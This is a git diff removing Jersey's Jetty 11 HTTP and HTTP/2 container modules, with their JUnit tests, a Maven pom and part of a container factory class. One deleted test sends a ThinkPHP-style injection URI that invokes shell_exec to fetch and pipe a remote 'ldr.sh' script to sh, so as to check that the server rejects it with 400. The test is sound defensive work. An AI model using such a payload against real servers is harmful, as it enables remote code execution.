-                    asyncResponse.resume("OK");
-                }
-            }).start();
-        }
-    }
-
-    private Client client;
-
-    @BeforeEach
-    public void setUp() throws Exception {
-        startServer(AsyncResource.class);
-        client = ClientBuilder.newClient();
-    }
-
-    @Override
-    @AfterEach
-    public void tearDown() {
-        super.tearDown();
-        client = null;
-    }
-
-    @Test
-    public void testAsyncGet() throws ExecutionException, InterruptedException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-        // get() waits for the response
-        assertEquals("DONE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
-        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-
-    /**
-     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
-     */
-    @Test
-    public void testAsyncMultipleInvocations() throws Exception {
-        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
-
-        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
-
-        assertThat(response.getStatus(), is(200));
-        assertThat(response.readEntity(String.class), is("OK"));
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
deleted file mode 100644
index 03abb53..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
+++ /dev/null
@@ -1,97 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.apache.http.HttpHost;
-import org.apache.http.client.methods.CloseableHttpResponse;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClientBuilder;
-import org.apache.http.message.BasicHttpRequest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.PathParam;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import java.io.IOException;
-import java.net.URI;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- */
-public class ExceptionTest extends AbstractJettyServerTester {
-    @Path("{status}")
-    public static class ExceptionResource {
-        @GET
-        public String get(@PathParam("status") int status) {
-            throw new WebApplicationException(status);
-        }
-
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
-                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
-                + ".0.1/ldr.sh|sh";
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
-        startServer(ExceptionResource.class);
-        URI testUri = getUri().build();
-        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
-        request.addHeader("X-Forwarded-Host", "_foo.com");
-        CloseableHttpClient client = HttpClientBuilder.create().build();
-
-        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
-
-        assertEquals(400, response.getStatusLine().getStatusCode());
-    }
-
-    @Test
-    public void test400StatusCode() throws IOException {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("400").build());
-        assertEquals(400, r.request().get(Response.class).getStatus());
-    }
-
-    @Test
-    public void test500StatusCode() {
-        startServer(ExceptionResource.class);
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("500").build());
-
-        assertEquals(500, r.request().get(Response.class).getStatus());
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
deleted file mode 100644
index cb363fb..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
+++ /dev/null
@@ -1,196 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import static java.lang.Boolean.FALSE;
-import static java.lang.Boolean.TRUE;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.greaterThan;
-
-import java.security.AccessController;
-import java.security.NoSuchAlgorithmException;
-import java.util.Collections;
-import java.util.Set;
-import java.util.concurrent.CompletionStage;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import javax.net.ssl.SSLContext;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ServerProperties;
-import org.glassfish.jersey.server.spi.Container;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.Timeout;
-
-/**
- * Unit tests for {@link JettyHttpServerProvider}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class JettyHttpServerProviderTest {
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServer() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        shouldProvideServer(ShouldProvideServerApplication.class, resource);
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
-        // given
-        final Resource resource = new Resource();
-        final Application application = new ShouldProvideServerApplication();
-        shouldProvideServer(application.getClass(), resource);
-    }
-
-    private void shouldProvideServer(final Object application, final Resource resource)
-            throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
-        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
-
-        // when
-        final WebServer webServer = Application.class.isInstance(application)
-                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
-                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
-        final Object nativeHandle = webServer.unwrap(Object.class);
-        final CompletionStage<?> start = webServer.start();
-        final Object startResult = start.toCompletableFuture().get();
-        final Container container = webServer.container();
-        final int port = webServer.port();
-        final String entity = ClientBuilder.newClient()
-                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
-                .get(String.class);
-        final CompletionStage<?> stop = webServer.stop();
-        final Object stopResult = stop.toCompletableFuture().get();
-
-        // then
-        assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
-        assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
-        assertThat(startResult, is(nullValue()));
-        assertThat(container, is(instanceOf(JettyHttpContainer.class)));
-        assertThat(port, is(greaterThan(0)));
-        assertThat(entity, is(resource.toString()));
-        assertThat(stopResult, is(nullValue()));
-    }
-
-    @Path("/")
-    protected static final class Resource {
-        @GET
-        @Override
-        public String toString() {
-            return Resource.class.getName();
-        }
-    }
-
-    protected static class ShouldProvideServerApplication extends Application {
-        @Override
-        public Set<Object> getSingletons() {
-            return Collections.singleton(new Resource());
-        }
-    }
-
-    private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
-
-    private static final int DEFAULT_PORT = 0;
-
-    private static int getPort() {
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (final NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-
-        return DEFAULT_PORT;
-    }
-
-    @Test
-    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
-    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
-        // given
-        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
-        final Application application = new Application();
-        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
-
-        // when
-        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
-
-        // then
-        assertThat(webServer.port(), is(greaterThan(0)));
-    }
-
-    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
-        return (SeBootstrap.Configuration) name -> {
-            switch (name) {
-                case SeBootstrap.Configuration.PROTOCOL:
-                    return "HTTP";
-                case SeBootstrap.Configuration.HOST:
-                    return "localhost";
-                case SeBootstrap.Configuration.PORT:
-                    return port;
-                case SeBootstrap.Configuration.ROOT_PATH:
-                    return "/";
-                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
-                    return SSLClientAuthentication.NONE;
-                case SeBootstrap.Configuration.SSL_CONTEXT:
-                    try {
-                        return SSLContext.getDefault();
-                    } catch (final NoSuchAlgorithmException e) {
-                        throw new RuntimeException(e);
-                    }
-                case ServerProperties.WEBSERVER_AUTO_START:
-                    return autoStart;
-                default:
-                    return null;
-            }
-        };
-    }
-
-}
\ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
deleted file mode 100644
index 133bd25..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
-import org.glassfish.jersey.server.spi.Container;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Response;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Reload and ContainerLifecycleListener support test.
- *
- * @author Paul Sandoz
- * @author Marek Potociar
- */
-public class LifecycleListenerTest extends AbstractJettyServerTester {
-
-    @Path("/one")
-    public static class One {
-        @GET
-        public String get() {
-            return "one";
-        }
-    }
-
-    @Path("/two")
-    public static class Two {
-        @GET
-        public String get() {
-            return "two";
-        }
-    }
-
-    public static class Reloader extends AbstractContainerLifecycleListener {
-        Container container;
-
-        public void reload(ResourceConfig newConfig) {
-            container.reload(newConfig);
-        }
-
-        public void reload() {
-            container.reload();
-        }
-
-        @Override
-        public void onStartup(Container container) {
-            this.container = container;
-        }
-
-    }
-
-    @Test
-    public void testReload() {
-        final ResourceConfig rc = new ResourceConfig(One.class);
-
-        Reloader reloader = new Reloader();
-        rc.registerInstances(reloader);
-
-        startServer(rc);
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
-
-        // add Two resource
-        reloader.reload(new ResourceConfig(One.class, Two.class));
-
-        assertEquals("one", r.path("one").request().get(String.class));
-        assertEquals("two", r.path("two").request().get(String.class));
-    }
-
-    static class StartStopListener extends AbstractContainerLifecycleListener {
-        volatile boolean started;
-        volatile boolean stopped;
-
-        @Override
-        public void onStartup(Container container) {
-            started = true;
-        }
-
-        @Override
-        public void onShutdown(Container container) {
-            stopped = true;
-        }
-    }
-
-    @Test
-    public void testStartupShutdownHooks() {
-        final StartStopListener listener = new StartStopListener();
-
-        startServer(new ResourceConfig(One.class).register(listener));
-
-        Client client = ClientBuilder.newClient();
-        WebTarget r = client.target(getUri().path("/").build());
-
-        assertThat(r.path("one").request().get(String.class), equalTo("one"));
-        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
-
-        stopServer();
-
-        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
-        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
deleted file mode 100644
index 5d9c627..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.core.Response;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class OptionsTest extends AbstractJettyServerTester {
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        startServer(HelloWorldResource.class);
-        Client client = ClientBuilder.newClient();
-        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(0, response.getLength());
-        assertEquals("foo/bar", response.getMediaType().toString());
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml
deleted file mode 100644
index 15a7d78..0000000
--- a/containers/jetty11-http2/pom.xml
+++ /dev/null
@@ -1,175 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-container-jetty11-http2</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-container-jetty11-http2</name>
-
-    <description>Jetty 11 Http2 Container</description>
-
-    <dependencyManagement>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-alpn-conscrypt-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty11-http</artifactId>
-            <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>jakarta.inject</groupId>
-            <artifactId>jakarta.inject-api</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-server</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-alpn-conscrypt-server</artifactId>
-            <version>${jetty11.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.hamcrest</groupId>
-            <artifactId>hamcrest</artifactId>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-    <build>
-        <plugins>
-            <plugin>
-                <groupId>com.sun.istack</groupId>
-                <artifactId>istack-commons-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.codehaus.mojo</groupId>
-                <artifactId>build-helper-maven-plugin</artifactId>
-                <inherited>true</inherited>
-            </plugin>
-            <plugin>
-                <groupId>org.apache.felix</groupId>
-                <artifactId>maven-bundle-plugin</artifactId>
-                <inherited>true</inherited>
-                <configuration>
-                    <instructions>
-                        <Import-Package>
-                            ${jetty.osgi.version},
-                            *
-                        </Import-Package>
-                    </instructions>
-                </configuration>
-            </plugin>
-        </plugins>
-
-        <resources>
-            <resource>
-                <directory>${basedir}/src/main/resources</directory>
-                <filtering>true</filtering>
-            </resource>
-        </resources>
-    </build>
-
-</project>
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
deleted file mode 100644
index ac8927c..0000000
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
-import org.eclipse.jetty.server.ConnectionFactory;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.jetty.Jetty11HttpContainer;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory;
-import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class Jetty11Http2ContainerFactory {
-
-    private Jetty11Http2ContainerFactory() {
-
-    }
-
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        return createHttp2Server(uri, null, null, true);
-    }
-
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createHttp2Server(uri, null,
-                ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start);
-    }
-
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     *
-     * @since 2.40
-     */
-
-    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        return createHttp2Server(uri, null, null, start);
-    }
-
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see Jetty11HttpContainer
-     *
-     * @since 2.40
-     */
-    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
-                                           final Object parentContext) {
-        return createHttp2Server(uri, null,
-                new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class,
-                        config, parentContext), start);
-    }
-
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see Jetty11HttpContainer
-     *
-     * @since 2.40
-     */
-    public static Server createHttp2Server(final URI uri,
-                                           final SslContextFactory.Server sslContextFactory,
-                                           final Jetty11HttpContainer handler,
-                                           final boolean start) {
-
-        /**
-         * Creating basic Jetty HTTP/1.1 container (but always not started)
-         */
-        final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
-        /**
-         * Obtain configured HTTP connection factory
-         */
-        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
-        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
-
-        /**
-         * Obtain prepared config
-         */
-        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
-
-        /**
